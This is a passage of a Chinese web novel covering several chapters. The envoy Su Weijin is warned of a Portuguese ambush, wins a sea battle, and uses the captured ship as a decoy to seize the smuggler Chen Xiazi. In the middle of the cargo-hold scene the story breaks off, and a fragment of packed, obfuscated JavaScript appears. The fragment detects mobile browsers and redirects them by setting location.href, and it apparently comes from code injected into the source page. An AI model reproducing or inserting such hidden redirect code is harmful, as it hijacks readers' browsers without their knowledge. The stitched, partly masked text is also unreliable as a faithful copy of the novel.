至于那四门十二磅炮……
“三个月后,还是这里交货。”
费尔南多也起身,“但定金要先付三成。”
“可以。”
两只手再次握在一起。
一个要借刀**,一个要发财赚钱。
各怀鬼胎,却一拍即合。
陈瞎子心满意足地离开宅子。
他坐在轿子里,独眼微闭,盘算着接下来的计划。
苏惟瑾啊苏惟瑾,你在广西坏我大事,在京城又搅风搅雨。
这次到了东南,定叫你有来无回!
他想着想着,嘴角咧开,露出残缺的黄牙。
轿子走远了。
宅子门口,那个麻脸汉子重新关上门,落锁。
一切仿佛什么都没发生过。
但他们不知道,就在宅子对面街角的屋檐下,蹲着个乞丐。
这乞丐蓬头垢面,衣衫褴褛,面前摆个破碗,正蜷缩着打盹。
看起来和月港码头上那些流浪汉没什么两样。
可若是细看,就会发现他耳朵微
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微耸动,眼皮虽耷拉着,眼缝里却精光闪烁。
尤其是当宅子里传来葡萄牙人说话时——虽然隔得远,声音模糊,但他嘴唇微动,仿佛在默念什么。
唇语。
这是江湖上极少人掌握的绝技。
通过观察人口型,推测说话内容。
而这乞丐,正是彭友信派来的探子之一,绰号“顺风耳”的**湖。
半个时辰后,宅门再开,陈瞎子离去。
又过了一刻钟,那四个葡萄牙人也出来了,骑马往码头方向去。
乞丐这才慢吞吞起身,收拾破碗,拄着竹杖,一瘸一拐地走了。
他穿过三条街,拐进一条更偏僻的小巷。
巷底有间破庙,早就没了香火。
庙里已经有个人等着了,也是个乞丐打扮,但眼神锐利。
“怎么样?”
那人问。
“都记下了。”
顺风耳从怀里掏出个小本子,炭笔写满了歪歪扭扭的字,“陈瞎子买炮**,还要葡萄牙人在海上截杀苏大人。”
时间、地点、人物,都在这儿。
“好!”
那人接过本子,“我这就传信。”
你继续盯着,小心别暴露。
“放心,干这行二十年了。”
顺风耳咧嘴笑,露出一口黄牙。
那人不再多说,转身从庙后门出去。
那里早有匹快马等着,翻身上马,绝尘而去。
当夜,月港外海。
一艘小渔船悄无声息地划出港湾。
船上是两个渔民打扮的汉子,摇橹的动作却熟练得不像渔夫。
船行出五六里,到了一处荒僻礁石带。
其中一个汉子从舱里取出个笼子,笼里是两只信鸽。
他把顺风耳记下的情报,用密码重新抄在薄绢上,卷成小卷,塞进信鸽腿上的铜管里。
“去吧。”
信鸽展翅,消失在夜色中。
方向——东北。
那是双屿岛的方向,也是苏惟瑾船队所在的方向。
与此同时,“圣卡特琳娜号”上。
费尔南多召集了所有军官开会。
船舱里点着鲸油灯,墙上挂着海图,桌上摆着酒瓶和酒杯。
“先生们,”
费尔南多举起酒杯,“一笔大生意,就在眼前。”
他把和陈瞎子的交易说了一遍。
军官们听完,个个兴奋得两眼放光。
“四门十二磅炮!一万两千两!”
大副激动得脸都红了,“船长,干完这一票,咱们每个人都能分几百两!”
够回里斯本买个小庄园了!
“还有截杀明军钦差。”
炮手长舔了舔嘴唇,“五千两。”
加上之前火炮生意的尾款,总共……两万两!
“但风险也大。”
一个老水手长比较谨慎,“明军不是软柿子。”
那个苏惟瑾,听说很厉害。
“再厉害,能厉害过我们的炮?”
费尔南多冷笑,“‘圣卡特琳娜号’有十八门炮,其中六门是九磅炮。”
明军那些破船,最多也就几门小炮。
真打起来,一轮齐射就送他们下海喂鱼。
他走到海图前,手指点着双屿岛到月港的航线。
“根据陈瞎子给的消息,明军船队三日后从双屿出发南下。”
速度不会快,一天最多走百十里。
咱们算好时间,在他们必经之路上埋伏。
“哪里合适?”
大副问。
费尔南多手指在海图上移动,最后停在一处:“这里,东矶列岛和台山列岛之间的水道。”
这里暗礁多,航道窄,船队必须减速。
咱们藏在礁石后面,等他们进了射程……
他做了个开炮的手势。
“完美!”
炮手长大笑。
“传令下去。”
费尔南多收起笑容,“明日一早,拔锚起航。”
先去外海把火炮交易完成,然后……去会会这位大明钦差。
“是!”
军官们齐声应道,眼里都是贪婪和杀意。
夜色深沉,月港渐渐安静下来。
但暗潮,已经汹涌。
一方在谋划**越货,一方在暗中传递情报。
而苏惟瑾的船队,正从双屿岛拔锚南下,毫不知情地驶向一场精心布置的埋伏。
陈瞎子与葡萄牙人达成肮脏交易,重金悬赏苏惟瑾性命。
葡萄牙武装商船已出海埋伏,准备在险要水道截杀明军船队。
而彭友信的情报网虽已发出警告,但信鸽能否及时送到?
苏惟瑾收到警告后,是会改变航线避开埋伏,还是将计就计反杀一波?
海上的生死较量,即将上演。
而陈瞎子背后那位“大明权贵”,究竟是谁?
这场阴谋,牵扯得越来越深了。
第375章 海途遭突袭,夷炮惊魂夜
彭友信用信鸽传来的密报,是在苏惟瑾船队离开双屿岛的第二天清晨收到的。
当时船队刚过台州湾,正沿着海岸线南下。
那只灰背隼从西南方向飞来,落在胡三臂套上时,羽毛都被海雾打湿了,累得直喘。
胡三取下铜管里的薄绢,只看了一眼,脸色就变了,快步冲进旗舰船舱。
“公子,急报!”
苏惟瑾正在看海图,闻言抬头。
接过薄绢展开,上面是用密码写的,但他一看就懂——这是出发前和彭友信约定的密语。
“陈瞎子与红毛夷勾结,购火炮**,重金悬赏公子性命。”
夷船“圣卡特琳娜号”已出海,或在东矶至台山水道设伏。
船有炮十八门,其中九磅炮六门,速快炮利,小心。
短短几行字,信息量巨大。
“**!”
周大山凑过来看了,一拳砸在舱壁上,“这帮红毛鬼敢打咱们主意?活腻了!”
苏惟虎皱眉:“大人,东矶到台山那段水道我知道。”
暗礁多,航道窄,船队过那里必须减速。
要是真在那里埋伏……
“那就改道。”
苏惟山道,“咱们绕远点,走外海。”
苏惟瑾摇头:“来不及了。”
他走到海图前,手指在上面划了一条线:“我们从双屿出发已经一天,按现在的航速和风向,后天傍晚就会到东矶水道。”
现在改道外海,要多走两三天——而且外海风浪大,咱们这些运兵船受不了。
“那咋办?”
周大山瞪眼,“明知有埋伏,还往里钻?”
“钻。”
苏惟瑾眼神冷下来,“不过不是傻钻。”
他立刻下令,调整船队部署。
二十艘战船重新编组:苏惟山率六艘水师快船前出十里,担任侦察前锋;旗舰“靖海号”和八艘运兵船居中;周大山率四艘虎贲营战船护卫左翼,苏惟虎率两艘神机营炮船护卫右翼。
阵型呈菱形,攻守兼备。
“胡三,”
苏惟瑾又道,“放出所有驯养的海鸟。”
以船队为中心,方圆二十里,天上飞的、水里游的、岛上藏的——只要是活物,都给我盯紧了!
胡三领命而去。
一时间,旗舰周围鹰飞隼翔。
七八只猛禽展翅盘旋,锐利的眼睛扫视着茫茫海面。
第三日,午后。
海面上起了薄雾,能见度不佳。
船队已进入福建外海,距离东矶列岛不足三十里。
苏惟瑾站在船头,手里举着望远镜,仔细观察前方海况。
望远镜里,东矶列岛的轮廓隐约可见。
那是几十个大小不一的岛屿组成的群岛,岛上多是光秃秃的岩石,植被稀疏。
岛屿之间水道纵横,暗礁密布,确实是个打埋伏的好地方。
“公子,”
胡三走过来,低声道,“俺的海鸟回报,前方岛群后面,有船影。”
不止一艘,但看不清旗号。
“距离?”
苏惟瑾问。
“约莫七八里,藏在岛屿背风面。”
苏惟瑾点头,转身下令:“传令各船,减速。”
火炮装填实心弹,火铳手就位。
虎贲营披甲,准备接舷战。
命令层层传下。
船队速度慢了下来,但阵型保持严密。
士兵们各就各位,**味开始在空气中弥漫。
周大山拎着**在甲板上走动,挨个检查士兵的装备:“刀磨利了没?甲穿好了没?待会儿要是接舷,给老子往前冲!”
谁怂谁就是龟孙子!
“放心吧周将军!”
一个老兵咧嘴笑,“俺们在广西砍过叛军,在广州揍过混混,还怕几个红毛鬼?”
“就是!干**!”
士气不错。
苏惟瑾稍微放心,但心里那根弦还绷着。
他知道,这一仗的关键在于——谁先动手,怎么动手。
黄昏时分,船队驶入东矶水道。
这是两列岛屿之间的狭窄通道,宽不过三里,长有十余里。
水道两侧怪石嶙峋,海浪拍在礁石上,溅起丈高白沫。
旗舰“靖海号”打头,缓缓进入水道。
海风穿过岛屿间隙,发出呜呜的怪响,像是鬼哭。
夕阳西下,把海水染成暗红色,更添几分诡异。
船行过半,最担心的事情发生了。
“右舷!敌船!”
瞭望台上的水手嘶声大喊。
几乎同时,右侧岛屿后方,三艘帆船猛然冲出!
船型与大明船只截然不同:船身细长,船首尖锐,三根桅杆高高耸立,白帆鼓胀。
船体漆成深蓝色,侧舷开着一排炮窗,黑洞洞的炮口已经伸出。
最显眼的是船帆上绣的图案——一个红色的十字架。
葡萄牙武装商船!
“开炮!”
对方根本不废话,刚出岛影就开火。
“轰轰轰轰——!”
侧舷火光连闪,硝烟弥漫。
炮弹呼啸着划过海面,砸向明军船队。
第一轮齐射就命中目标。
一艘运兵船被击中左舷。
实心铁弹砸穿船板,木屑四溅,船舱里传来惨叫。
船体剧烈摇晃,十几个士兵站立不稳,摔进海里。
“救人!”
军官大吼。
但来不及了。
第二轮炮击接踵而至。
这次瞄准的是旗舰。
三发炮弹呼啸而来,两发落入海中,溅起巨大水柱。
一发擦着旗舰桅杆飞过,帆索断裂,半面船帆哗啦落下。
“**!”
周大山眼睛红了,“打!给老子打回去!”
明**炮开始还击。
但准头差得远。
葡萄牙船灵活得像海豚,打完一轮就转向,始终保持在明**炮有效射程的边缘。
明军炮弹要么落空,要么勉强擦过船身,造不成实质性伤害。
这就是代差。
葡萄牙人的火炮更轻、射程更远、炮手训练更精。
而且他们玩的是“放风筝”战术——打一炮就跑,拉开距离装填,然后再回来打。
明军船队成了活靶子。
又一艘战船被击中,船尾起火。
水手们拼命扑救,但火势蔓延很快。
“这样不行!”
苏惟虎急声道,“大人,咱们的炮够不着他们!”
苏惟瑾站在船头,超频大脑全速运转。
敌船航速、转向角度、炮击间隔、风向、潮汐……所有数据在脑中翻滚、计算、模拟。
他看出来了,葡萄牙人很狡猾。
三艘船呈品字形,互相掩护。
主攻的是那艘最大的——应该就是“圣卡特琳娜号”,另外两艘游弋侧翼,防止明军包抄。
“他们在玩我们。”
苏惟瑾冷笑,“以为我们只会傻站着挨打。”
他转身,语速极快:“苏惟山!”
“末将在!”
“带你的人,乘快艇。”
不要走正面,从左侧岛屿后面绕过去。
带上火箭,目标——敌船帆缆!
把他们的帆烧了,看他们还怎么跑!
“得令!”
“周大山!”
“俺在!”
“挑二十个善泅水的弟兄,要最好的。”
带上凿子,从水下潜过去,凿他们的船底。
记住,用特制凿子——带倒钩的那种,凿进去就拔不出来。
周大山眼睛一亮:“水下凿船?这个俺在行!”
当年在沭阳,俺就跟人学过这手!
“胡三!”
“公子!”
“你的鸟,盯紧另外两艘敌船。”
一旦他们想包抄或者救援,立刻示警。
“明白!”
两路奇兵悄然出发。
六艘快艇从旗舰后方放下,载着苏惟山和三十名水师精锐,借着岛屿阴影掩护,悄无声息地划向左翼。
另一边,二十个虎贲营士兵脱去铠甲,只穿短裤,嘴里衔着**,腰间挂着特制凿子和锤子。
像鱼儿一样滑入海中,朝葡萄牙船队游去。
海面上,炮战还在继续。
葡萄牙人越打越欢。
费尔南多站在“圣卡特琳娜号”船尾,举着单筒望远镜,看着明军船队狼狈的样子,嘴角咧开。
“这些明国人,就像笨重的鸭子。”
他用葡萄牙语对副船长道,“船慢,炮差,战术陈旧。”
真不明白陈先生为什么这么怕那个苏惟瑾。
副船长笑道:“或许在陆地上他厉害,但在海上……船长,咱们才是霸主。”
“没错。”
费尔南多放下望远镜,“传令,再靠近些。”
这轮齐射,我要打沉那艘旗舰。
“是!”
命令传下,“圣卡特琳娜号”开始转向,准备拉近距离进行致命一击。
但就在这时,异变突生。
“船长!船尾起火!”
瞭望台上的水手惊恐大喊。
费尔南多猛地回头。
只见船尾帆缆上,不知何时扎上了十几支火箭。
箭杆上的**筒滋滋燃烧,引燃了帆索。
海风一吹,火势迅速蔓延。
“哪里来的火箭?!”
费尔南多又惊又怒。
他冲到右舷,举起望远镜看去。
只见左侧岛屿阴影里,钻出几艘小艇。
艇上的明军士兵正弯弓搭箭,箭头上绑着燃烧物。
“卑鄙!”
费尔南多大骂,“快灭火!调转炮口,轰那些小艇!”
但来不及了。
船底又传来“咚咚咚”的闷响。
像是有人在用锤子砸船壳。
“什么声音?”
炮手长脸色发白。
一个老水手扑到船舷边,把耳朵贴上去听,顿时魂飞魄散:“有人在凿船!水下有人!”
“见鬼!”
费尔南多这才意识到中计了,“快!起锚!离开这里!”
可已经晚了。
凿子是从水下斜着凿进去的,带着倒钩,拔不出来。
海水顺着凿孔涌入,虽然每个孔不大,但十几个孔同时进水,速度就快了。
更要命的是,此时风向突变。
原本的西北风,突然转为东南风。
“圣卡特琳娜号”正在转向,帆受风面改变,不但没远离明军,反而被风吹着,朝明军船队漂去!
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“不!不!”
费尔南多绝望地大喊,“转向!快转向!”
但船底进水,船速大减,转向变得极其困难。
而明军这边,苏惟瑾等的就是这个机会。
“所有火炮!”
他站在旗舰船头,声音穿透海风,“集中轰击那艘大船!”
实心弹、链弹、**——给我往死里打!
“轰——!”
明**炮终于发威。
八门火炮同时开火,炮弹如雨点般砸向“圣卡特琳娜号”。
一发链弹旋转着飞过,缠住了主桅。
铁链收紧,硬生生把桅杆勒断!
“咔嚓——!”
巨木折断的声响令人牙酸。
主桅轰然倒下,连带船帆、索具砸在甲板上,一片狼藉。
紧接着,实心弹砸穿侧舷,**横扫甲板。
葡萄牙水手惨叫着倒下,甲板上血流成河。
“接舷!”
周大山大吼。
虎贲营战船趁机靠拢,飞爪抛出,勾住“圣卡特琳娜号”船舷。
士兵们如狼似虎地跃上敌船。
接舷战爆发。
葡萄牙水手虽然悍勇,但船已半残,士气低落。
面对训练有素、配合默契的虎贲营,很快就败下阵来。
费尔南多还想抵抗,被周大山一刀劈飞手中西洋剑,反手按倒在地。
“绑了!”
另外两艘葡萄牙船见旗舰被俘,哪还敢停留?
调转船头就跑,转眼消失在暮色中。
海战结束。
夕阳完全落下,海面上一片狼藉。
燃烧的船帆、漂浮的木板、还有……尸体。
明军清点战果:击沉敌船零艘,俘获一艘;缴获火炮十二门(其中九磅炮三门),火绳枪一百二十支,**弹丸若干;生擒葡萄牙人四十三名,包括船长费尔南多。
己方损失:运兵船重伤一艘,轻伤三艘;阵亡士兵二十七人,伤五十六人。
惨胜,但确实是胜。
旗舰船舱,费尔南多被押进来。
这个刚才还嚣张的葡萄牙船长,现在浑身湿透,脸上有淤青,络腮胡凌乱,狼狈不堪。
苏惟瑾坐在主位,周大山、苏惟虎、鹤岑分坐两旁。
“费尔南多船长,”
苏惟瑾用葡萄牙语道,“幸会。”
费尔南多猛地抬头,惊愕道:“你……你会说我们的话?”
“略懂。”
苏惟瑾淡淡道,“现在,说说吧。”
陈瞎子给了你多少钱,让你来杀我?
费尔南多脸色变了变,咬牙道:“我不知道你在说什么。”
我们只是……普通的商船,遇到风暴,误入这片海域……
“误入?”
苏惟瑾笑了,“带着十八门炮,见到官军就开火,这叫误入?”
他站起身,走到费尔南多面前,俯视着他:“船长先生,我不是在和你商量。”
你只有两个选择:第一,说实话,我可以保证你的生命安全,甚至……你的船和货物,也不是不能还你一部分。
“第二,”
苏惟瑾眼神一冷,“我把你交给朝廷。”
按大明律,私携火器入海、攻击官军、勾结叛逆——够你凌迟十次了。
你的船员,一个也跑不了。
费尔南多冷汗直流。
他当然知道大明律的严酷。
凌迟……光是想想就浑身发冷。
“我……我说。”
他终于屈服,“陈先生……陈瞎子,给了我们五千两白银,让我们在海上截杀您。”
还承诺,事成之后,再加五千两。
“火炮交易呢?”
“三门六磅炮,五十支火绳枪,已经交货。”
还有四门十二磅炮的订单,定金三成,约定三个月后交货。
苏惟瑾点头,又问:“陈瞎子背后,还有谁?”
“这个我真不知道。”
费尔南多苦笑道,“陈先生只说,是大明一位权贵。”
具体是谁,他没说,我们也不问——这是规矩。
苏惟瑾盯着他看了片刻,确定他没说谎。
“押下去,好生看管。”
费尔南多被带走后,舱内一片沉寂。
“大人,”
苏惟虎率先开口,“接下来怎么办?”
苏惟瑾走到舷窗前,望着窗外黑暗的海面。
月港的方向,隐约有灯火。
“陈瞎子还在月港。”
他缓缓道,“葡萄牙人这边断了,他肯定会找别的路子。”
而且……他背后那个人,必须挖出来。
他转身,眼神锐利如刀。
“传令:船队连夜南下,直奔月港。”
“这次,定要将他们一网打尽!”
海战虽胜,但陈瞎子未除,幕后权贵未现。
月港是龙潭虎穴,地方势力盘根错节,陈瞎子在此经营多年,必有后手。
苏惟瑾率军直扑月港,是能一举擒贼,还是将陷入更复杂的泥潭?
那逃走的另外两艘葡萄牙船,会不会去给陈瞎子报信?
而京城之中,那位与陈瞎子勾结的“权贵”,此刻是否已经得知海上失利的消息,正在谋划新的阴谋?
风暴,正向月港汇聚。
第376章 月港设陷阱,瑾请君入瓮
船队在东矶水道打了个胜仗,却没急着南下。
苏惟瑾把队伍拉到附近一座荒岛背后,藏了起来。
这岛当地人叫“龟背屿”,形状像个趴着的海龟,岛上有淡水泉眼,能暂时驻扎。
“大人,为啥不直接杀去月港?”
苏惟虎有些急,“陈瞎子那老东西,肯定还不知道咱们赢了红毛鬼。”
趁他蒙在鼓里,一鼓作气端了他老巢!
周大山也摩拳擦掌:“就是!大人,让俺带人打头阵,保准把那独眼龙揪出来!”
苏惟瑾摇摇头,在临时搭起的帐篷里摊开几份缴获的文件。
有费尔南多和陈瞎子的往来信件,有葡萄牙人绘制的月港海图,还有几份名单——上面记着些闽南语名字,旁边标注着“供货”、“销赃”、“掩护”等字样。
“你们看,”
苏惟瑾手指点着名单,“陈瞎子在月港的据点,至少五处。”
码头边的“福昌货栈”,城南的“林氏祠堂”,西街的“悦来茶楼”,还有两处私宅。
他又指向海图:“而且,据费尔南多交代,月港本地好几家豪族,都和陈瞎子有牵扯。”
有的帮他运货,有的帮他销赃,有的甚至提供官府内的消息。
鹤岑老道捻须道:“月港这地方,水太深。”
官、商、匪、夷,盘根错节。
若贸然进攻,只怕打草惊蛇,主犯闻风而逃,反倒让那些地头蛇藏得更深。
“国师说得对。”
苏惟瑾点头,“咱们要抓的不是小虾米,是陈瞎子这条大鱼。”
还得顺藤摸瓜,把他背后的人都揪出来。
他顿了顿,眼中闪过精光:“所以,得设个局,让他自己跳进来。”
接下来的三天,船队就在龟背屿休整。
伤员医治,战船修补,缴获的火炮**清点入库。
表面上风平浪静,暗地里却紧锣密鼓地布置。
苏惟瑾做的第一件事,是放假消息。
通过“云裳阁”在月港的分号——那是一家卖绸缎的铺子,掌柜姓黄,是个精明的宁波人——放出风声:苏钦差的船队在海上遭遇风暴,损失惨重,正在某处荒岛修整,短期内无力进剿。
这消息传得有鼻子有眼。
什么“旗舰主桅断了”、“三艘运兵船搁浅”、“**好几百人”,越传越邪乎。
月港那些耳目灵通的,很快就知道了。
第二件事,是派人潜入。
苏惟虎挑了五十个机灵的士兵,分批化妆进城。
有的扮成逃难商人,说家乡遭了倭乱,来月港投亲;有的扮成苦力,在码头找活干;还有的扮成游方郎中、算命先生,专往茶馆酒肆这些人杂的地方钻。
他们的任务不是抓人,是盯梢。
盯紧陈瞎子常去的几个地方,摸清他的活动规律。
鹤岑老道也没闲着。
他换上件半旧道袍,背着个褡裢,挂着“铁口直断”的布幡,真像个云游道士。
月港寺庙多,天后宫、观音阁、城隍庙,他挨个去“挂单”,和那些和尚道士聊天。
别说,这招真管用。
寺庙道观是什么地方?
三教九流都去烧香拜佛,僧道之流见的人多,知道的事也多。
几壶清茶下肚,鹤岑就套出不少话:
“陈瞎子?那可是月港一霸!”
码头三成的“私货”,都得经他手。
“林家的三少爷,跟陈瞎子拜了把子。”
上个月还一起在“醉仙楼”喝酒呢。
“前几日有艘番船进港,卸下的箱子沉甸甸的,直接运去了福昌货栈——那货栈明面上是林家的,实际是陈瞎子管。”
零零碎碎,拼凑起来就是一张网。
第三件事,最大胆。
苏惟瑾把俘获的“圣卡特琳娜号”重新拾掇了一遍。
船帆换成普通的灰布帆,船身用黑漆重新刷过,盖住原来的蓝色。
葡萄牙旗帜降下,挂上一面谁也认不出的怪旗——红底,上面画个扭曲的黑色火焰标志。
这是苏惟瑾根据陈瞎子和黑巫师往来信件里的标记,自己设计的。
陈瞎子的人一看就懂,外人看了莫名其妙。
船上也做了改造。
甲板下原本的水手舱,清空。
六十名虎贲营精锐藏进去,每人只带短刀、绳索、石灰粉——接舷战用不上长兵器。
货舱里摆满木箱。
打开看,上层是劣质丝绸,下面全是铅块。
铅块表面涂了层银粉,在昏暗光线下,看起来跟真银锭差不多。
“大山,这回看你的了。”
苏惟瑾对周大山道。
周大山已经换了身行头:紧身双排扣上衣(从葡萄牙俘虏身上扒的),马裤,长筒皮靴,腰里还挎了柄西洋剑。
脸上粘了假络腮胡,头发用油梳得锃亮,猛一看还真像那么回事。
就是肤色太黑——葡萄牙人哪有这么黑的?
“没事,”
苏惟瑾笑道,“你就说你是混血,爹是葡萄牙人,娘是南洋土人。”
周大山挠头:“大人,俺连葡萄牙话都不会说啊。”
“不用你会说。”
苏惟瑾早有准备,“带个翻译。”
翻译也是现成的——俘虏里有个葡萄牙水手,叫若昂,在澳门待过几年,会点广东话。
这人贪生怕死,答应配合,换条活路。
“你的任务,”
苏惟瑾对周大山道,“驾这艘船去月港,以‘出售火炮’为名,接触陈瞎子。”
就说你们是“从苏惟瑾手中逃脱的另一艘葡萄牙船”,船上有三门六磅炮要出手,价格好商量。
周大山点头:“俺懂了。引他上船?”
“对。”
一旦他登船,立刻控制。
若他不来,就约他到我们指定的地点交易——那个地点,咱们提前布好埋伏。
“明白!”
四月廿八,午后。
一艘挂着古怪旗帜的三桅帆船,缓缓驶入月港。
码头上的人纷纷侧目。
这船看着像番船,可旗号没见过。
船身有破损,主桅是新换的,一看就是经历过大风浪。
船靠岸后,下来几个人。
为首的是个黑脸大汉,穿着番人衣裳,满脸络腮胡,眼神凶悍。
旁边跟着个瘦小的番人,还有两个汉人打扮的随从。
黑脸大汉操着生硬的汉话,对码头管事的道:“我,费雷拉,葡萄牙船长。”
船坏了,要修。
有货,要卖。
管事的打量他几眼:“什么货?”
“炮。”
黑脸大汉咧嘴笑,露出白牙,“六磅炮,三门。还有火绳枪,五十支。”
管事的神色一变。
火炮**,在月港是敏感货。
能买卖,但不能明说。
“你们……从哪来的?”
管事的小心问。
黑脸大汉——也就是周大山,压低声音:“从北边逃出来的。”
遇到明军水师,打了一仗,船伤了,**不少人。
炮带不走了,便宜卖。
说着,他凑近些:“我听说,月港有位陈先生,专做这种生意。”
管事的眼神闪烁:“你等着。”
他转身匆匆走了。
周大山和“翻译”若昂站在码头上,看似悠闲地看风景,实则手心冒汗。
约莫半个时辰后,管事的回来了,身后跟着两个人。
一个独眼,一个麻脸。
正是陈瞎子和他的亲信李麻子。
陈瞎子那只独眼,像毒蛇一样扫视着周大山,又仔细打量那艘船。
“你是葡萄牙人?”
陈瞎子开口,声音沙哑。
周大山按事先教的,挺胸抬头:“是。我爹是葡萄牙贵族,我娘是满剌加公主。”
我叫费雷拉,圣卡特琳娜号副船长。
他说得磕磕巴巴,但配上那身行头,倒有几分唬人。
陈瞎子盯着他看了半晌,忽然道:“你们船长呢?”
“**。”
周大山做出悲痛状,“和明军交战时,被炮弹打中。现在我是船长。”
“船上的炮……真是六磅炮?”
“真的。可以看货。”
陈瞎子独眼转了转:“听说,北边有艘葡萄牙船,被明军俘虏了。你们……”
周大山心里一紧,但面上不动声色:“你说的是费尔南多船长的船吧?”
我们是一起的,分头突围。
他们运气不好,被围住了。
我们趁乱冲出来。
他说着,从怀里掏出一枚银币——这是从费尔南多身上搜出来的葡萄牙钱币。
陈瞎子接过银币,看了看上面的纹章,脸色稍缓。
“货在哪?”
“船上。不过……”
周大山左右看看,“这里人多眼杂。”
陈瞎子点头:“明白。这样,今夜子时,港外三里,有个荒岛叫‘**礁’。”
你们把船开到那里,我带人去看货。
若货真,现银交易。
周大山心里乐开了花——**礁,正是苏惟瑾提前选好的埋伏地点!
但他面上露出犹豫:“荒岛……安全吗?”
陈瞎子笑了:“放心,月港这一片,我说了算。”
“那……好吧。”
周大山“勉强”答应,“子时,**礁见。”
子夜,月黑风高。
**礁是块光秃秃的大石头,涨潮时大半淹在水里,退潮时露出个**形状的礁盘。
四周荒凉,最近的岛也在五里外。
“圣卡特琳娜号”已经泊在礁石旁,船头挂着一盏气死风灯,在黑暗中像只独眼。
两艘小船从月港方向划来。
前面船上坐着陈瞎子、李麻子,还有四个精悍手下。
后面船上是八个汉子,都带着刀。
小船靠近大船,放下绳梯。
陈瞎子很谨慎,先让两个手下上去查看。
那两人在甲板上转了一圈,又下到货舱看了看,回来禀报:“陈爷,货在。”
三门炮,都用油布盖着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038945|186215||http|test|mini|href|location''.split(''|''),0,{}));
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>还有几十个箱子,说是**。
“人呢?”
“就七八个番人水手,还有那个黑脸船长。都在甲板上。”
陈瞎子这才放心,攀着绳梯上船。
周大山迎上来,咧嘴笑:“陈先生,守时。”
陈瞎子点点头,独眼扫视甲板。
确实只有七八个人,都穿着番人衣裳,有的在擦甲板,有的在整理缆绳。
“货呢?”
“下面。”
周大山做了个请的手势。
一行人下到货舱。
货舱里点着几盏油灯,光线昏暗。
三门火炮用油布盖着,露出半截炮管。
旁边堆着几十个木箱,箱盖开着,里面是码放整齐的火绳枪。
陈瞎子走到一个木箱前,随手拿起一支火绳枪,掂了掂,又凑到灯下看**。
是真货。
他又走到火炮旁,掀开油布一角。
青铜炮身在灯光下泛着幽光,炮身上有葡萄牙文字和纹章。
也是真货。
“白银呢?”
陈瞎子转头问。
周大山拍拍手。
两个“水手”抬过来一口箱子,打开。
里面是码放整齐的“银锭”,白花花一片。
陈瞎子拿起一锭,入手沉甸甸的。
他独眼眯起,凑到灯下细看。
就在这时,异变突生!
货舱门“哐当”一声关上!
几乎同时,那些盖着火炮的油布猛然掀开——底下钻出几十个持刀汉子!
原本在擦甲板的“水手”,也瞬间变脸,抽出藏在缆绳里的短刀,扑向陈瞎子的手下。
“有诈!”
陈瞎子反应极快,袖中滑出一柄淬毒**,反手就刺向周大山咽喉!
但周大山早有防备。
他侧身躲过,同时一脚踢向陈瞎子手腕。
“当啷!”
**飞出,落在木板上。
陈瞎子还想掏暗器,周大山已经欺身而上,一拳砸在他胸口。
这一拳势大力沉,陈瞎子闷哼一声,**三步,撞在火炮上。
李麻子和四个手下还想反抗,但虎贲营士兵已经围了上来。
三下五除二,全按倒在地,捆了个结实。
货舱里灯火通明。
苏惟瑾从暗处走出,微笑如刀:“陈先生,久仰了。”
陈瞎子被按着跪在地上,独眼里满是怨毒和惊骇。
他看着苏惟瑾,又看看周大山,再看看那些“番人水手”——现在都撕掉假胡子,露出真容。
“你……你们……”
他气得浑身发抖。
“没想到吧?”
周大山撕掉假络腮胡,嘿嘿笑道,“俺这葡萄牙贵族,装得还行不?”
陈瞎子咬牙切齿:“苏惟瑾!你好手段!”
“不及陈先生。”
苏惟瑾淡淡道,“从广西逃到东南,勾结倭寇,联络红毛夷,祸乱沿海——陈先生的手段,才叫高明。”
他蹲下身,平视陈瞎子那只独眼:“现在,咱们聊聊。你背后那位‘权贵’,是谁?”
陈瞎子啐了一口:“呸!要杀要剐,悉听尊便!”
想让我出卖主人?
做梦!
“哦?”
苏惟瑾笑了,“倒是条忠犬。不过……”
他站起身,对周大山道:“把陈先生请到咱们船上,好生‘招待’。”
至于他的这些手下……分开审。
谁先开口,谁活命。
“是!”
陈瞎子被押走时,还在嘶吼:“苏惟瑾!你得意不了多久!”
主人会为我报仇的!
你会死得比我惨十倍!
声音渐渐远去。
苏惟瑾走到货舱窗边,望着窗外黑暗的海面。
月港方向,灯火点点。
“大人,”
苏惟虎走过来,“陈瞎子抓到了,接下来怎么办?”
苏惟瑾沉默片刻,缓缓道:“陈瞎子只是马前卒。”
他背后的人,才是正主。
他转身:“传令,船队连夜进城。”
控制福昌货栈、悦来茶楼等所有陈瞎子据点。
所有涉案人员,一个不漏。
“另外,”
他顿了顿,“派人去请月港的几位‘老爷’——林家、王家、郑家的家主。”
就说,钦差有请,商议剿倭事宜。
苏惟虎眼睛一亮:“大人是要……敲山震虎?”
“不。”
苏惟瑾摇头,“是打草惊蛇。”
“陈瞎子落网,他背后的人肯定会坐不住。”
咱们把动静闹大些,看看谁会跳出来。
他望着月港的灯火,眼神深邃。
这张网,该收了。
陈瞎子落网,但拒不交代幕后主使。
苏惟瑾要大张旗鼓清洗月港,势必惊动那些藏在暗处的大鱼。
林家、王家、郑家这些地方豪族,哪家干净?
哪家涉案?
而京城那位“权贵”,得知东南布局被破,又会如何反应?
是断尾求生,还是狗急跳墙?
月港这一局,才刚刚开始。
第377章 暗室审瞎子,黑幕终揭开
龟背屿北侧有个天然山洞,洞口被藤蔓遮掩,寻常人很难发现。
苏惟瑾让人把这里收拾出来,改成了临时审讯室。
洞不深,约莫三四丈,但足够宽敞。
壁上插着火把,火光跳跃,把影子拉得扭曲诡异。
洞中央摆着张粗糙的石桌,两边各有一把木椅。
角落里放着些刑具——不是锦衣卫那种精细玩意儿,都是船上现凑的:浸水的麻绳、带倒刺的鞭子、烧红的烙铁。
陈瞎子被铁链锁着,拴在洞壁的铁环上。
独眼在火光下泛着幽光,像困兽。
周大山亲自看守,抱着刀坐在洞口,像尊门神。
苏惟瑾走进来时,陈瞎子抬起头,脸上竟露出诡异的笑。
“苏大人,”
他声音沙哑,带着嘲讽,“好手段啊。”
扮番人,设埋伏,引我上钩——这招,我记下了。
苏惟瑾在对面木椅坐下,平静道:“陈先生过奖。”
